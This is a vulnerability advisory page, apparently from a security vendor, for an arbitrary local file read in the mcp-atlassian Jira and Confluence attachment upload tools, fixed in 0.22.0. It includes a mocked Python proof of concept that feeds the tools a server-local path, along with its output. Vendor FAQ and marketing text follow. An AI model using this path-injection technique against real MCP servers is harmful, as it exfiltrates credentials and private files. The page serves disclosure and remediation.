Summary
MCP Atlassian: Jira and Confluence attachment upload tools can read arbitrary server-local files
MCP Atlassian exposes Jira and Confluence attachment upload tools that accept arbitrary local filesystem paths and upload those file contents to Atlassian. In HTTP or multi-user deployments, an MCP caller who can invoke write tools can cause the server to read any file accessible to the MCP process and send it to Jira/Confluence as an attachment.
Details
The Confluence MCP upload tool accepts a file_path described as an absolute or relative server path in src/mcp_atlassian/servers/confluence.py:1290-1316 and forwards it directly to confluence_fetcher.upload_attachment() in src/mcp_atlassian/servers/confluence.py:1356-1363. The multi-upload variant accepts comma-separated local paths in src/mcp_atlassian/servers/confluence.py:1372-1449.
The Confluence attachment implementation converts relative paths to absolute paths, checks only existence, and then opens the path for upload. There is no call to validate_safe_path() or any allowed directory check for uploads in src/mcp_atlassian/confluence/attachments.py:61-79; the direct upload path opens the file with open(file_path, "rb") in src/mcp_atlassian/confluence/attachments.py:467-490.
The Jira upload implementation has the same pattern: it converts relative paths, checks existence, and opens the path in src/mcp_atlassian/jira/attachments.py:371-388. Jira issue update also accepts an attachments field as JSON or CSV local paths in src/mcp_atlassian/servers/jira.py:1609-1662, forwards it through update fields in src/mcp_atlassian/servers/jira.py:1668-1676, and IssuesMixin.update_issue() calls self.upload_attachments(issue_key, kwargs["attachments"]) in src/mcp_atlassian/jira/issues.py:1132-1137.
The tools are decorated with @check_write_access, so READ_ONLY_MODE=true blocks them. However, in default write-enabled deployments, the only security boundary is whether the MCP caller can invoke write tools. Combined with HTTP/multi-user exposure, this becomes a server-side arbitrary file read/exfiltration primitive to the configured Jira/Confluence instance.
PoC
The following proof uses temporary files and mocked upload sinks only. It does not contact Atlassian or modify remote data.
uv run python - <<'PY'
import json, tempfile
from pathlib import Path
from types import SimpleNamespace
from mcp_atlassian.confluence.attachments import AttachmentsMixin as ConfluenceAttachmentsMixin
from mcp_atlassian.confluence.config import ConfluenceConfig
from mcp_atlassian.jira.attachments import AttachmentsMixin as JiraAttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig
class FakeResponse:
def raise_for_status(self):
pass
def json(self):
return {'results': [{'id': 'att-poc'}]}
class FakeConfluenceSession:
def __init__(self):
self.uploaded = None
def put(self, url, headers=None, files=None, data=None):
file_tuple = files['file']
self.uploaded = {
'url': url,
'filename': file_tuple[0],
'content': file_tuple[1].read().decode(),
}
file_tuple[1].close()
return FakeResponse()
def confluence_probe(secret_path):
fetcher = object.__new__(ConfluenceAttachmentsMixin)
session = FakeConfluenceSession()
fetcher.config = ConfluenceConfig(url='https://confluence.example.test/wiki', auth_type='pat', personal_token='token')
fetcher.confluence = SimpleNamespace(_session=session)
result = fetcher.upload_attachment('123456', str(secret_path))
return {'result_success': result.get('success'), 'uploaded': session.uploaded}
class FakeJiraApi:
def __init__(self):
self.uploaded = None
def add_attachment(self, issue_key, filename):
self.uploaded = {
'issue_key': issue_key,
'filename': Path(filename).name,
'content': Path(filename).read_text(),
}
return {'id': 'att-poc'}
def jira_probe(secret_path):
fetcher = object.__new__(JiraAttachmentsMixin)
fake = FakeJiraApi()
fetcher.config = JiraConfig(url='https://jira.example.test', auth_type='pat', personal_token='token')
fetcher.jira = fake
result = fetcher.upload_attachment('SAFE-1', str(secret_path))
return {'result_success': result.get('success'), 'uploaded': fake.uploaded}
with tempfile.TemporaryDirectory(prefix='mcp-atlassian-upload-poc-') as tmp:
secret_path = Path(tmp) / 'server-secret.txt'
secret_path.write_text('SERVER_LOCAL_SECRET_MARKER')
print(json.dumps({
'confluence': confluence_probe(secret_path),
'jira': jira_probe(secret_path),
}, indent=2, sort_keys=True))
PY
Observed output from this environment:
{
"confluence": {
"result_success": true,
"uploaded": {
"content": "SERVER_LOCAL_SECRET_MARKER",
"filename": "server-secret.txt",
"url": "https://confluence.example.test/wiki/rest/api/content/123456/child/attachment"
}
},
"jira": {
"result_success": true,
"uploaded": {
"content": "SERVER_LOCAL_SECRET_MARKER",
"filename": "server-secret.txt",
"issue_key": "SAFE-1"
}
}
}
The proof demonstrates that attacker-supplied local paths reach file reads and the contents are passed to the upload sink.
Impact
A caller with MCP write-tool access can exfiltrate any file readable by the MCP server process to an Atlassian issue or Confluence page that the configured account can write to. In containerized or server deployments this can include mounted secrets, environment files, OAuth fallback token files, service-account credentials, source code, or other local data. The attack is remote when the MCP server is exposed over HTTP and requires only ability to call the attachment/update write tools.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-77253 has a CVSS score of 7.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.22.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-77253? CVE-2026-77253 is a high-severity path traversal vulnerability in mcp-atlassian (pip), affecting versions < 0.22.0. It is fixed in 0.22.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-77253? CVE-2026-77253 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of mcp-atlassian are affected by CVE-2026-77253? mcp-atlassian (pip) versions < 0.22.0 is affected.
- Is there a fix for CVE-2026-77253? Yes. CVE-2026-77253 is fixed in 0.22.0. Upgrade to this version or later.
- Is CVE-2026-77253 exploitable, and should I be worried? Whether CVE-2026-77253 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-77253 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-77253? Upgrade
mcp-atlassianto 0.22.0 or later.